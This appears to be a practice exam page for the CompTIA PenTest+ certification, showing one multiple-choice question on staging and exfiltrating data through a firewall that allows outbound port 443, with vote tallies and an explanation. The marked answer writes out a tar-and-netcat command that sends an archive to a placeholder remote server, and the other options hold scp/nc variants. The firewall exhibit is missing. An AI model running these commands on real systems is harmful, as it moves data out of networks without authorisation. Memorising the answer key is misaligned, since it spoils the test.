nerdexam
CompTIA

PT0-003 · Question #79

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy: Which of the following commands should the tester…

The correct answer is A. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz. The firewall policy allows outbound TCP traffic from 192.168.10.0/24 to any destination on port 443, which is typically used for HTTPS and is commonly open. Chosen option uses Netcat (nc) over TCP port 443, which is permitted. It compresses the data and sends it to a remote…

Submitted by marco_it· Mar 6, 2026Post-exploitation and Lateral Movement

Question

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Which of the following commands should the tester try next?

Exhibit

PT0-003 question #79 exhibit

Options

  • Atar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
  • Bgzip /path/to/data && cp data.gz <remote_server> 443
  • Cgzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
  • Dtar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

How the community answered

(54 responses)
  • A
    65% (35)
  • B
    20% (11)
  • C
    4% (2)
  • D
    11% (6)

Explanation

The firewall policy allows outbound TCP traffic from 192.168.10.0/24 to any destination on port 443, which is typically used for HTTPS and is commonly open. Chosen option uses Netcat (nc) over TCP port 443, which is permitted. It compresses the data and sends it to a remote server using an allowed outbound path.

Topics

#data exfiltration#firewall bypass#netcat#tar

Community Discussion

No community discussion yet for this question.

Full PT0-003 Practice